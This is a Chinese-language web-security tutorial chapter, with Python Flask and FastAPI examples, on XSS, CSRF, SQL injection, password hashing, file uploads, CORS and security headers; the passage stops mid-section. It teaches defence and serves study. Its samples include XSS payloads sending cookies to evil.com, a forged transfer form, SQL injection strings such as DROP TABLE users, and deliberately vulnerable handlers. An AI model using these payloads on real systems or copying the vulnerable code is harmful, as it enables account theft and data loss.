安全专题
本章代码基于 Python 3.11+ 编写
安全不是可选功能,而是 Web 应用的底线。本章系统讲解 XSS、CSRF、SQL 注入等核心威胁及其防御方案。
为什么需要学习 Web 安全?一个真实的事故场景
问题场景: 你开发了一个用户评论系统,上线后很快被攻击者利用:
# 危险的评论渲染逻辑
@app.route("/comment", methods=["POST"])
def add_comment():
user_input = request.form["content"]
# 直接把用户输入拼进 HTML
html = f"<div class='comment'>{user_input}</div>"
return html攻击者提交评论内容:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>结果:所有访问该页面的用户,其 Cookie 被发送到攻击者服务器。攻击者可以用这些 Cookie 冒充任意用户登录。
这就是 XSS 攻击。 它不是理论风险,而是每天都在发生的真实威胁。
Web 安全解决了什么问题?
Web 安全的核心目标是保护三件事:
┌─────────────────────────────────────────────────────────────┐
│ Web 安全三大目标 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 机密性(Confidentiality) │
│ 数据只能被授权的人看到 │
│ → 防止:信息泄露、中间人攻击 │
│ │
│ 2. 完整性(Integrity) │
│ 数据不被未授权的人篡改 │
│ → 防止:SQL 注入、XSS、CSRF │
│ │
│ 3. 可用性(Availability) │
│ 服务始终可以被正常访问 │
│ → 防止:DDoS、资源耗尽 │
│ │
└─────────────────────────────────────────────────────────────┘安全学习的价值:
- 防御已知攻击:掌握常见漏洞模式,写代码时自动避开
- 减少安全事故:90% 的安全漏洞源于基础疏忽
- 提升代码质量:安全实践往往也提升代码健壮性
- 满足合规要求:GDPR、等保等法规的安全基线
第一部分:XSS(跨站脚本攻击)
1.1 XSS 是什么
XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到网页中,其他用户访问该页面时脚本会执行。
XSS 攻击流程:
┌────────────┐ 提交恶意数据 ┌────────────┐
│ │ ──────────────────→│ │
│ 攻击者 │ <script>... │ 服务器 │
│ │ │ │
└────────────┘ └─────┬──────┘
│
存储 / 反射恶意内容
│
↓
┌────────────┐ 执行恶意脚本 ┌────────────┐
│ │ ←──────────────────│ │
│ 受害者 │ 浏览器自动执行 │ 服务器 │
│ (浏览器) │ document.cookie │ 响应 │
│ │ │ │
└────────────┘ └────────────┘XSS 三种类型:
| 类型 | 恶意脚本存储位置 | 触发方式 | 危害程度 |
|---|---|---|---|
| 存储型(Stored) | 数据库、文件存储 | 用户访问被污染的页面 | ⭐⭐⭐ 最高 |
| 反射型(Reflected) | URL 参数、请求体 | 用户点击恶意链接 | ⭐⭐ 中等 |
| DOM 型(DOM-based) | 前端 JavaScript | 前端 JS 直接处理不可信数据 | ⭐⭐ 中等 |
1.2 攻击示例
存储型 XSS — 用户评论:
from flask import Flask, request, render_template_string
app = Flask(__name__)
comments = [] # 模拟数据库
@app.route("/comment", methods=["POST"])
def add_comment():
content = request.form.get("content", "")
comments.append(content) # 恶意脚本被存入"数据库"
return "评论已提交"
@app.route("/comments")
def show_comments():
# ⚠️ 危险:用户输入直接拼入 HTML,未转义
html = "<html><body>"
for c in comments:
html += f"<div class='comment'>{c}</div>" # ← 这里会被注入
html += "</body></html>"
return html攻击者提交:
评论内容: <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">所有访问 /comments 的用户都会触发这个脚本。
反射型 XSS — 搜索结果:
@app.route("/search")
def search():
query = request.args.get("q", "")
# ⚠️ 危险:用户输入直接返回到页面
return f"<html><body>搜索结果:{query}</body></html>"攻击者构造链接发送给用户:
https://yoursite.com/search?q=<script>alert('XSS')</script>用户点击后,脚本在其浏览器中执行。
1.3 防御方法
方法一:模板自动转义(最重要)
from flask import Flask, render_template_string
app = Flask(__name__)
# ✅ 安全:Jinja2 默认开启自动转义
@app.route("/comment")
def show_comments_safe():
comments = ["<script>alert('xss')</script>", "正常评论"]
# {{ }} 中的内容会自动转义 < 为 < 等
return render_template_string("""
{% for c in comments %}
<div>{{ c }}</div>
{% endfor %}
""", comments=comments)
# 输出:<script>alert('xss')</script>方法二:手动 HTML 转义
import html
def escape_user_input(user_input: str) -> str:
"""对用户输入进行 HTML 转义"""
return html.escape(user_input, quote=True)
# 使用
raw = '<script>alert("xss")</script>'
safe = escape_user_input(raw)
print(safe) # <script>alert("xss")</script>方法三:设置 Content-Security-Policy(CSP)
from flask import Flask, make_response
app = Flask(__name__)
@app.after_request
def set_csp(response):
"""设置 CSP 头,限制脚本来源"""
response.headers["Content-Security-Policy"] = (
"default-src 'self'; " # 只允许同源资源
"script-src 'self'; " # 只允许同源脚本
"style-src 'self' 'unsafe-inline';" # 允许内联样式
)
return response⚠️ 手动关闭转义的风险:
from markupsafe import Markup
# ⚠️ 危险:明确标记内容"安全",跳过转义
@app.route("/risky")
def risky():
user_input = request.args.get("name", "")
# Markup() 告诉 Jinja2 "这是安全的",不再转义
template = f"Hello, {{ name }}"
return render_template_string(template, name=Markup(user_input))
# 如果 user_input = <script>... 就会被执行!关键代码说明:
| 代码 | 含义 | 为什么这样写 |
|---|---|---|
| Jinja2 模板变量 | 默认转义 HTML 特殊字符,防止 XSS |
| safe 过滤器 | 标记内容为安全 | 跳过转义,只在确认内容安全时使用 |
html.escape() | Python 标准库转义 | 将 < > & " ' 转为 HTML 实体 |
Content-Security-Policy | HTTP 响应头 | 即使 XSS 注入成功,浏览器也会阻止恶意脚本加载 |
1.4 XSS 防护检查清单
XSS 防护决策树:
┌───────────────────┐
│ 有用户输入? │
└────────┬──────────┘
│ Yes
↓
┌───────────────────┐
│ 输出到 HTML? │
└────────┬──────────┘
│ Yes
↓
┌──────────────────────────┐
│ 使用模板引擎自动转义? │
└────────┬─────────────────┘
Yes │ No → ❌ 漏洞!
↓
┌───────────────────┐
│ 需要显示原始 HTML?│
└────────┬──────────┘
Yes │ No → ✅ 安全
↓
┌──────────────────────────┐
│ 使用白名单库清理 HTML? │
│ (如 bleach) │
└────────┬─────────────────┘
│ Yes → ✅ 安全
│ No → ❌ 漏洞!第二部分:CSRF(跨站请求伪造)
2.1 CSRF 原理
CSRF(Cross-Site Request Forgery)利用的是浏览器自动携带 Cookie 的机制。
CSRF 攻击流程:
┌──────────────────────────────────────────────────────────────┐
│ │
│ 用户已登录 bank.com │
│ │ │
│ │ 浏览器保存 Cookie: session_id=abc123 │
│ │ │
│ ▼ │
│ 用户访问 evil.com(攻击者网站) │
│ │ │
│ │ evil.com 包含隐藏的恶意表单 │
│ │ <form action="https://bank.com/transfer" method="POST">│
│ │ <input name="to" value="attacker"> │
│ │ <input name="amount" value="10000"> │
│ │ <input type="submit" value="点击领奖"> │
│ │ </form> │
│ │ │
│ ▼ │
│ 用户点击"领奖"按钮 │
│ │ │
│ │ 浏览器向 bank.com 发送 POST 请求 │
│ │ → 自动携带 Cookie: session_id=abc123 │
│ │ → bank.com 认为这是用户的合法操作 │
│ │ → 转账 10000 元给攻击者 │
│ │
└──────────────────────────────────────────────────────────────┘关键点: 浏览器对 bank.com 的请求会自动带上 bank.com 的 Cookie,攻击者网站利用这一点诱使用户发送请求。
2.2 攻击示例
没有 CSRF 保护的转账接口:
from flask import Flask, request, session
app = Flask(__name__)
app.secret_key = "dev-key"
@app.route("/login", methods=["POST"])
def login():
session["user_id"] = "user123"
return "登录成功"
@app.route("/transfer", methods=["POST"])
def transfer():
# ⚠️ 危险:只要用户登录了,任何来源的请求都会被处理
user_id = session.get("user_id")
if not user_id:
return "未登录", 401
to = request.form["to"]
amount = request.form["amount"]
# 直接执行转账,没有验证请求来源
print(f"{user_id} 向 {to} 转账 {amount} 元")
return "转账成功"攻击者在 evil.com 放置:
<!-- 用户点击后立即转账 -->
<form action="https://yoursite.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker_account">
<input type="hidden" name="amount" value="99999">
<input type="submit" value="免费领取 iPhone">
</form>2.3 防御方法
方法一:CSRF Token(最常用)
import secrets
from flask import Flask, request, session, render_template_string
app = Flask(__name__)
app.secret_key = "dev-key"
def generate_csrf_token() -> str:
"""生成 CSRF Token"""
if "csrf_token" not in session:
session["csrf_token"] = secrets.token_hex(32)
return session["csrf_token"]
@app.context_processor
def inject_csrf_token():
"""将 CSRF Token 注入到所有模板"""
return {"csrf_token": generate_csrf_token}
@app.before_request
def validate_csrf_token():
"""验证 POST/PUT/DELETE 请求的 CSRF Token"""
if request.method in ("POST", "PUT", "DELETE", "PATCH"):
token = request.form.get("csrf_token") or request.headers.get("X-CSRF-Token")
if not token or token != session.get("csrf_token"):
return "CSRF Token 验证失败", 403
# 安全的转账接口
@app.route("/transfer", methods=["GET", "POST"])
def transfer():
if request.method == "GET":
return render_template_string("""
<form method="POST">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
收款人: <input name="to"><br>
金额: <input name="amount"><br>
<button type="submit">转账</button>
</form>
""")
user_id = session.get("user_id")
if not user_id:
return "未登录", 401
# CSRF Token 已通过 before_request 验证
to = request.form["to"]
amount = request.form["amount"]
return f"{user_id} 向 {to} 转账 {amount} 元"方法二:Flask-WTF 集成方案
from flask_wtf import FlaskForm, CSRFProtect
from wtforms import StringField, DecimalField
from wtforms.validators import DataRequired
# 全局 CSRF 保护
csrf = CSRFProtect()
app = Flask(__name__)
app.config["SECRET_KEY"] = "dev-key"
csrf.init_app(app)
# 使用 Flask-WTF 表单(自动包含 CSRF Token)
class TransferForm(FlaskForm):
to = StringField("收款人", validators=[DataRequired()])
amount = DecimalField("金额", validators=[DataRequired()])
@app.route("/transfer", methods=["GET", "POST"])
def transfer():
form = TransferForm()
if form.validate_on_submit():
return f"转账 {form.amount.data} 给 {form.to.data}"
return render_template_string("{{ form.hidden_tag() }} ...", form=form)方法三:FastAPI 手动实现 CSRF 保护
import secrets
from fastapi import FastAPI, Request, Depends, HTTPException, Form
from fastapi.responses import HTMLResponse
from starlette.middleware.base import BaseHTTPMiddleware
app = FastAPI()
# 简单的 CSRF Token 存储(生产环境用 Redis)
csrf_tokens: dict[str, str] = {}
class CSRFMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
if request.method in ("POST", "PUT", "DELETE", "PATCH"):
token = request.headers.get("X-CSRF-Token") or (
await request.form()
).get("csrf_token", "")
session_token = request.cookies.get("csrf_token")
if not token or token != session_token:
raise HTTPException(status_code=403, detail="CSRF Token 无效")
return await call_next(request)
app.add_middleware(CSRFMiddleware)
@app.get("/csrf-token")
def get_csrf_token():
"""获取 CSRF Token"""
token = secrets.token_hex(32)
csrf_tokens[token] = True
from fastapi.responses import JSONResponse
response = JSONResponse({"csrf_token": token})
response.set_cookie(key="csrf_token", value=token, httponly=True)
return response
@app.post("/transfer")
async def transfer(
to: str = Form(...),
amount: float = Form(...),
):
# CSRF Token 由中间件验证
return {"status": f"转账 {amount} 给 {to} 成功"}方法四:SameSite Cookie 属性
from flask import Flask, make_response, session
app = Flask(__name__)
@app.after_request
def set_samesite(response):
"""设置 SameSite Cookie 属性"""
response.set_cookie(
"session_id",
session.get("session_id", ""),
samesite="Strict", # 最严格:同源请求才携带 Cookie
# samesite="Lax", # 较宽松:GET 请求可携带
httponly=True, # JavaScript 无法读取
secure=True, # 仅 HTTPS 传输
)
return responseSameSite 属性对比:
| 值 | GET 携带 | POST 携带 | 跨站请求 | 适用场景 |
|---|---|---|---|---|
Strict | ❌ 不同源不带 | ❌ 不同源不带 | 完全禁止 | 高安全场景 |
Lax | ✅ 导航请求带 | ❌ 不同源不带 | 仅导航请求 | 大多数网站 |
None | ✅ | ✅ | 允许 | 需第三方嵌入 |
2.4 CSRF 防护决策
CSRF 防护策略选择:
┌────────────────────────────────────────────────────────────┐
│ │
│ 你的 API 类型? │
│ │
│ ┌─────────────────┐ ┌──────────────────────────────┐ │
│ │ 传统表单提交 │ │ SPA / 前后端分离 API │ │
│ │ (Flask 模板) │ │ (FastAPI / Flask-RESTful) │ │
│ └────────┬────────┘ └──────────────┬───────────────┘ │
│ │ │ │
│ ↓ ↓ │
│ ┌─────────────────┐ ┌──────────────────────────────┐ │
│ │ Flask-WTF │ │ CSRF Token + 自定义请求头 │ │
│ │ (自动处理) │ │ X-CSRF-Token │ │
│ └─────────────────┘ │ + SameSite=Lax Cookie │ │
│ └──────────────────────────────┘ │
│ │
│ 通用补充:SameSite Cookie + Referer 检查 │
│ │
└────────────────────────────────────────────────────────────┘第三部分:SQL 注入
3.1 SQL 注入原理
SQL 注入是因为将用户输入直接拼接到 SQL 语句中,导致攻击者可以篡改 SQL 逻辑。
SQL 注入原理:
┌────────────────────────────────────────────────────────────┐
│ │
│ 正常查询: │
│ username = "alice" │
│ SQL = f"SELECT * FROM users WHERE username = '{username}'│"│
│ → SELECT * FROM users WHERE username = 'alice' │
│ → 返回 alice 的记录 ✅ │
│ │
│ 注入攻击: │
│ username = "' OR 1=1 --" │
│ SQL = f"SELECT * FROM users WHERE username = '{username}'│"│
│ → SELECT * FROM users WHERE username = '' OR 1=1 --' │
│ → 1=1 永远为真,返回所有用户记录 ❌ │
│ │
│ 更危险的注入: │
│ username = "'; DROP TABLE users; --" │
│ → SELECT * FROM users WHERE username = ''; │
│ DROP TABLE users; --' │
│ → users 表被删除 ❌❌❌ │
│ │
└────────────────────────────────────────────────────────────┘3.2 攻击示例
危险的登录验证:
import sqlite3
# ❌ 危险:字符串拼接构建 SQL
def login(username: str, password: str) -> bool:
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
# 万能密码攻击
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
# 如果 password = "' OR 1=1 --"
# SQL 变成: SELECT * FROM users WHERE username = 'x' AND password = '' OR 1=1 --'
# → 1=1 永远为真,绕过密码验证!
cursor.execute(sql)
user = cursor.fetchone()
return user is not None
# 攻击者这样登录:
# login("admin", "' OR 1=1 --") # 无需密码,直接以 admin 身份登录!万能密码解析:
-- 原始 SQL
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --'
-- SQL 解析器看到的(-- 之后的内容是注释):
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1
-- 等价于:
SELECT * FROM users WHERE (username = 'admin' AND password = '') OR (1=1)
-- 1=1 永远为真,所以返回所有记录3.3 防御方法
方法一:参数化查询(最重要)
import sqlite3
# ✅ 安全:使用参数化查询
def login_safe(username: str, password: str) -> bool:
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
# ? 是占位符,数据库驱动会正确处理转义
sql = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(sql, (username, password))
# 即使 password = "' OR 1=1 --"
# 数据库也会将其视为一个字面量字符串,不会当作 SQL 代码执行
user = cursor.fetchone()
return user is not None方法二:SQLAlchemy ORM(推荐)
from sqlalchemy import create_engine, Column, String, Integer
from sqlalchemy.orm import DeclarativeBase, Session
Base = DeclarativeBase()
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
username = Column(String(50), unique=True)
password_hash = Column(String(128))
engine = create_engine("sqlite:///app.db")
# ✅ 安全:ORM 自动生成参数化查询
def get_user_by_name(username: str) -> User | None:
with Session(engine) as session:
# ORM 会转义所有输入
return session.query(User).filter_by(username=username).first()
# ✅ 安全:使用 ORM 的过滤方法
def search_users(query: str) -> list[User]:
with Session(engine) as session:
return (
session.query(User)
.filter(User.username.contains(query))
.all()
)⚠️ SQLAlchemy 中的危险用法:
from sqlalchemy import text
# ❌ 危险:使用 text() 直接拼接 SQL
def dangerous_search(username: str) -> list:
with Session(engine) as session:
# 直接拼接用户输入
sql = f"SELECT * FROM users WHERE username = '{username}'"
return session.execute(text(sql)).all()
# ✅ 正确:text() 中使用命名参数
def safe_text_search(username: str) -> list:
with Session(engine) as session:
# 即使使用 text(),也要用参数绑定
sql = text("SELECT * FROM users WHERE username = :username")
return session.execute(sql, {"username": username}).all()方法三:输入验证 + 白名单
import re
def validate_sort_column(column: str) -> str:
"""验证排序字段(白名单方式)"""
allowed = {"id", "username", "created_at", "email"}
if column not in allowed:
raise ValueError(f"不允许的排序字段: {column}")
return column
def get_users_sorted(sort_by: str) -> list:
"""安全的排序查询"""
safe_column = validate_sort_column(sort_by)
with Session(engine) as session:
# sort_by 经过白名单验证,可以安全拼接
sql = text(f"SELECT * FROM users ORDER BY {safe_column}")
return session.execute(sql).all()SQL 注入防御对比:
| 方法 | 安全性 | 易用性 | 适用场景 |
|---|---|---|---|
参数化查询 ? / :name | ⭐⭐⭐ | ⭐⭐⭐ | 所有 raw SQL |
| SQLAlchemy ORM | ⭐⭐⭐ | ⭐⭐⭐ | 常规 CRUD |
SQLAlchemy text() + 参数 | ⭐⭐⭐ | ⭐⭐ | 复杂查询 |
| 白名单验证 | ⭐⭐⭐ | ⭐⭐ | 列名、表名等标识符 |
| 字符串格式化 | ❌ | ⭐ | 永远不要用 |
3.4 知识关联
SQL 注入防御知识关联:
┌─────────────────────────────────────────────────────────────┐
│ │
│ 用户输入 │
│ │ │
│ ▼ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ 输入验证 │───→│ 参数化查询 │───→│ 最小权限 │ │
│ │ (白名单) │ │ (? / :name) │ │ 数据库用户 │ │
│ └─────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ 拦截非法字符 阻止 SQL 解析 限制破坏范围 │
│ 提前拒绝 改变语义 降低影响 │
│ │
└─────────────────────────────────────────────────────────────┘第四部分:其他常见攻击
4.1 密码安全
密码存储的错误与正确方式:
# ❌ 错误:明文存储
user_password = "password123" # 数据库被泄露,所有密码暴露
# ❌ 错误:简单 MD5/SHA1
import hashlib
hash_password = hashlib.md5(b"password123").hexdigest()
# 彩虹表可以在几秒内破解常见密码的 MD5
# ✅ 正确:使用 bcrypt
import bcrypt
def hash_password(plain: str) -> str:
"""使用 bcrypt 哈希密码"""
salt = bcrypt.gensalt(rounds=12) # rounds 越高越安全(越慢)
hashed = bcrypt.hashpw(plain.encode("utf-8"), salt)
return hashed.decode("utf-8")
def verify_password(plain: str, hashed: str) -> bool:
"""验证密码"""
return bcrypt.checkpw(plain.encode("utf-8"), hashed.encode("utf-8"))
# 使用
hashed = hash_password("password123")
print(verify_password("password123", hashed)) # True
print(verify_password("wrong_password", hashed)) # False为什么 bcrypt 比 MD5 安全?
密码破解成本对比:
┌────────────────────────────────────────────────────────────┐
│ │
│ 算法 │ 单次哈希时间 │ 10亿次破解时间 │ 抵抗彩虹表 │
│ ──────────│──────────────│────────────────│───────────────│
│ MD5 │ ~0.0001 ms │ ~2 分钟 │ ❌ 无 │
│ SHA-256 │ ~0.001 ms │ ~17 分钟 │ ❌ 无 │
│ bcrypt │ ~250 ms │ ~8000 年 │ ✅ 内置盐 │
│ Argon2 │ ~500 ms │ ~16000 年 │ ✅ 内置盐 │
│ │
│ 结论:攻击者破解 bcrypt 哈希的成本是 MD5 的 250 万倍 │
│ │
└────────────────────────────────────────────────────────────┘关键代码说明:
| 代码 | 含义 | 为什么这样写 |
|---|---|---|
bcrypt.gensalt(rounds=12) | 生成随机盐 | 每次哈希使用不同的盐,相同密码产生不同哈希,防止彩虹表 |
rounds=12 | 计算迭代次数 | 2^12 = 4096 次迭代,增加暴力破解成本 |
bcrypt.checkpw() | 恒定时间比较 | 防止时序攻击,不会因为密码前缀正确而更快返回 |
4.2 文件上传安全
import os
import uuid
from flask import Flask, request
from werkzeug.utils import secure_filename
app = Flask(__name__)
UPLOAD_FOLDER = "/var/uploads"
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg", "gif", "pdf"}
def allowed_file(filename: str) -> bool:
"""检查文件扩展名"""
return "." in filename and filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/upload", methods=["POST"])
def upload_file():
file = request.files.get("file")
if not file or not file.filename:
return "请选择文件", 400
if not allowed_file(file.filename):
return "不支持的文件类型", 400
# ✅ 安全措施 1:使用 secure_filename 清理文件名
safe_name = secure_filename(file.filename)
if not safe_name:
return "无效的文件名", 400
# ✅ 安全措施 2:使用 UUID 避免文件名冲突和路径遍历
unique_name = f"{uuid.uuid4().hex}_{safe_name}"
file_path = os.path.join(UPLOAD_FOLDER, unique_name)
# ✅ 安全措施 3:验证路径在上传目录内
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_FOLDER)):
return "非法的文件路径", 400
file.save(file_path)
return f"文件已上传:{unique_name}"文件上传攻击模式:
# ❌ 路径遍历攻击
# 文件名: ../../../etc/passwd
# 如果直接拼接,会覆盖系统文件!
# ❌ 扩展名欺骗
# 文件名: evil.php.jpg 或 evil.php%00.jpg
# 某些服务器会按第一个扩展名或截断后的名字执行
# ❌ MIME 类型伪造
# Content-Type: image/jpeg,但文件实际是 PHP 脚本
# 不能仅依赖 Content-Type 判断文件类型4.3 敏感数据泄露
错误处理中的信息泄露:
from flask import Flask, request
import traceback
app = Flask(__name__)
# ❌ 错误:返回详细错误信息给客户端
@app.errorhandler(Exception)
def handle_error(e):
# 暴露了数据库表结构、文件路径、堆栈信息
return {"error": str(e), "traceback": traceback.format_exc()}, 500
# ✅ 正确:只返回通用错误信息
@app.errorhandler(Exception)
def handle_error_safe(e):
# 记录详细错误到日志(仅服务器端可见)
app.logger.error(f"内部错误: {e}", exc_info=True)
# 返回通用错误信息给客户端
return {
"error": "服务器内部错误",
"message": "请稍后重试"
}, 500日志中的敏感数据:
import logging
import re
class SensitiveDataFilter(logging.Filter):
"""过滤日志中的敏感数据"""
SENSITIVE_PATTERNS = [
re.compile(r"(password|passwd|pwd)['\"]?\s*[:=]\s*['\"]?[^&'\"]+"),
re.compile(r"(token|api_key|secret)['\"]?\s*[:=]\s*['\"]?[^&'\"]+"),
re.compile(r"\b\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b"), # 银行卡号
]
def filter(self, record):
if isinstance(record.msg, str):
for pattern in self.SENSITIVE_PATTERNS:
record.msg = pattern.sub("***REDACTED***", record.msg)
return True
# 使用
logger = logging.getLogger(__name__)
logger.addFilter(SensitiveDataFilter())
# 这些日志中的密码会被自动过滤
logger.info("用户登录: password=secret123")
# 实际输出: 用户登录: password=***REDACTED***4.4 CORS 配置错误
# ❌ 错误:允许所有来源
from flask_cors import CORS
app = Flask(__name__)
CORS(app) # Access-Control-Allow-Origin: *
# 任何网站都可以用 JavaScript 调用你的 API!
# ✅ 正确:限制允许的域名
CORS(
app,
origins=["https://myapp.com", "https://admin.myapp.com"],
supports_credentials=True, # 允许携带 Cookie
methods=["GET", "POST"], # 只允许特定方法
)
# ✅ FastAPI CORS 配置
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["https://myapp.com"], # 不要用 ["*"]
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["*"],
)CORS 错误配置的危害:
CORS 配置风险等级:
┌────────────────────────────────────────────────────────────┐
│ │
│ allow_origins = ["*"] │
│ └─ 任何网站都可以调用你的 API │
│ └─ 如果 API 操作敏感数据,等于门户大开 │
│ └─ 风险等级:🔴 高 │
│ │
│ allow_origins = ["https://trusted.com"] │
│ └─ 只有指定域名可以调用 │
│ └─ 风险等级:🟢 低 │
│ │
│ allow_origins 包含用户可控的值 │
│ └─ 攻击者可以把自己的域名加进去 │
│ └─ 风险等级:🔴 高 │
│ │
└────────────────────────────────────────────────────────────┘第五部分:L2 实践层
5.1 安全最佳实践表格
| 安全领域 | 最佳实践 | 具体做法 | 检查项 |
|---|---|---|---|
| XSS 防御 | 模板自动转义 | 使用 Jinja2 默认转义,避免 ` | safe` |
| XSS 防御 | CSP 头 | 设置 Content-Security-Policy | 是否限制了脚本来源? |
| CSRF 防御 | CSRF Token | 所有修改操作的表单包含 Token | POST/PUT/DELETE 是否验证 Token? |
| CSRF 防御 | SameSite Cookie | 设置 SameSite=Strict 或 Lax | Cookie 是否有 SameSite 属性? |
| SQL 注入 | 参数化查询 | 使用 ? / :name 占位符 | 是否有字符串拼接 SQL? |
| SQL 注入 | ORM 优先 | 使用 SQLAlchemy ORM 操作数据库 | 是否使用 text() + 参数绑定? |
| 密码安全 | bcrypt 哈希 | bcrypt.hashpw() 存储,checkpw() 验证 | 是否有明文或 MD5 存储? |
| 文件上传 | 白名单验证 | 检查扩展名 + 重命名 + 路径检查 | 文件名是否经过 secure_filename? |
| 错误处理 | 通用错误信息 | 生产环境返回通用错误,详细日志记录 | 错误响应是否暴露堆栈? |
| 日志安全 | 敏感信息过滤 | 自动过滤密码、Token、卡号 | 日志中是否有敏感数据? |
| CORS | 限制来源 | 明确指定允许的域名 | 是否使用 ["*"]? |
| 依赖安全 | 定期更新 | uv lock 更新依赖,关注安全公告 | 是否有已知漏洞的依赖? |
5.2 安全审计清单
Web 应用安全审计清单:
┌────────────────────────────────────────────────────────────┐
│ │
│ 输入处理 │
│ □ 所有用户输入是否经过验证和转义? │
│ □ 是否有字符串拼接到 SQL/HTML/Shell 命令? │
│ □ 文件上传是否检查类型、大小、路径? │
│ │
│ 认证与授权 │
│ □ 密码是否使用 bcrypt/Argon2 哈希? │
│ □ 是否有暴力破解防护(限频/锁定)? │
│ □ 敏感操作是否需要二次验证? │
│ □ 权限检查是否覆盖所有接口? │
│ │
│ 会话管理 │
│ □ Session Cookie 是否设置 HttpOnly + Secure? │
│ □ CSRF Token 是否覆盖所有修改操作? │
│ □ 会话是否有合理的过期时间? │
│ │
│ 响应安全 │
│ □ 是否设置安全 Headers? │
│ - Content-Security-Policy │
│ - X-Frame-Options │
│ - X-Content-Type-Options │
│ - Strict-Transport-Security │
│ □ 错误响应是否暴露内部信息? │
│ □ CORS 配置是否限制了来源? │
│ │
│ 基础设施 │
│ □ 依赖包是否有已知漏洞? │
│ □ 是否使用 HTTPS? │
│ □ 日志中是否有敏感数据? │
│ □ 是否有安全监控和告警? │
│ │
└────────────────────────────────────────────────────────────┘5.3 常见反模式
# ❌ 反模式 1:信任前端验证
# 前端做了验证,后端就直接使用
@app.route("/submit")
def submit():
amount = int(request.args["amount"]) # 前端验证了是正数
# 攻击者可以直接绕过前端,发送负数
process_refund(amount)
# ✅ 正确:后端始终独立验证
@app.route("/submit")
def submit():
amount = request.args.get("amount")
if not amount or not amount.isdigit() or int(amount) <= 0:
return "无效金额", 400
process_refund(int(amount))# ❌ 反模式 2:Security through Obscurity(隐蔽即安全)
# 认为"攻击者不知道我的接口路径"就是安全
@app.route("/admin-secret-panel-xyz-123") # 隐藏路径
def admin_panel():
# 没有认证!只是路径"很难猜到"
return admin_dashboard()
# ✅ 正确:使用显式认证
@app.route("/admin")
@login_required # Flask-Login 装饰器
@admin_required # 自定义权限检查
def admin_panel():
return admin_dashboard()# ❌ 反模式 3:在 URL 中传递敏感数据
# https://yoursite.com/reset?token=abc123&email=user@test.com
# URL 会被记录在浏览器历史、服务器日志、Referer 头
@app.route("/reset")
def reset():
token = request.args["token"] # Token 暴露在 URL 中
# ✅ 正确:使用 POST + 请求体
@app.route("/reset", methods=["POST"])
def reset():
token = request.json.get("token") # Token 在请求体中# ❌ 反模式 4:硬编码密钥
SECRET_KEY = "my-super-secret-key-123"
DATABASE_URL = "postgresql://admin:password123@localhost/db"
# ✅ 正确:使用环境变量
import os
SECRET_KEY = os.environ["SECRET_KEY"]
DATABASE_URL = os.environ["DATABASE_URL"]第六部分:L3 专家层
6.1 HTTP 安全 Headers 详解
HTTP 安全 Headers 防御层次:
┌─────────────────────────────────────────────────────────────┐
│ 安全 Headers 栈 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 传输层安全 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Strict-Transport-Security (HSTS) │ │
│ │ → 强制浏览器使用 HTTPS,防止降级攻击 │ │
│ │ → max-age=31536000; includeSubDomains │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ 内容完整性 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Content-Security-Policy (CSP) │ │
│ │ → 限制资源加载来源,防止 XSS │ │
│ │ → default-src 'self'; script-src 'self' │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ MIME 安全 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ X-Content-Type-Options: nosniff │ │
│ │ → 禁止浏览器 MIME 嗅探,防止类型混淆攻击 │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ 嵌入防护 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ X-Frame-Options: DENY │ │
│ │ → 禁止被 iframe 嵌入,防止点击劫持 │ │
│ │ → 或 SAMEORIGIN(仅允许同源嵌入) │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ Cookie 安全 │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Set-Cookie: SameSite=Strict; HttpOnly; Secure │ │
│ │ → 防止 CSRF、XSS 窃取、中间人攻击 │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘完整的安全 Headers 中间件实现:
from flask import Flask, Response
app = Flask(__name__)
@app.after_request
def set_security_headers(response: Response) -> Response:
"""设置完整的 HTTP 安全 Headers"""
# 1. HSTS:强制 HTTPS(至少 1 年)
response.headers["Strict-Transport-Security"] = (
"max-age=31536000; includeSubDomains; preload"
)
# 2. CSP:限制资源来源
response.headers["Content-Security-Policy"] = (
"default-src 'self'; "
"script-src 'self'; "
"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data:; "
"font-src 'self'; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'"
)
# 3. 禁止 MIME 嗅探
response.headers["X-Content-Type-Options"] = "nosniff"
# 4. 禁止嵌入 iframe
response.headers["X-Frame-Options"] = "DENY"
# 5. 启用 XSS 过滤器(旧浏览器兼容)
response.headers["X-XSS-Protection"] = "0" # 现代浏览器使用 CSP
# 6. Referrer Policy:控制 Referer 头
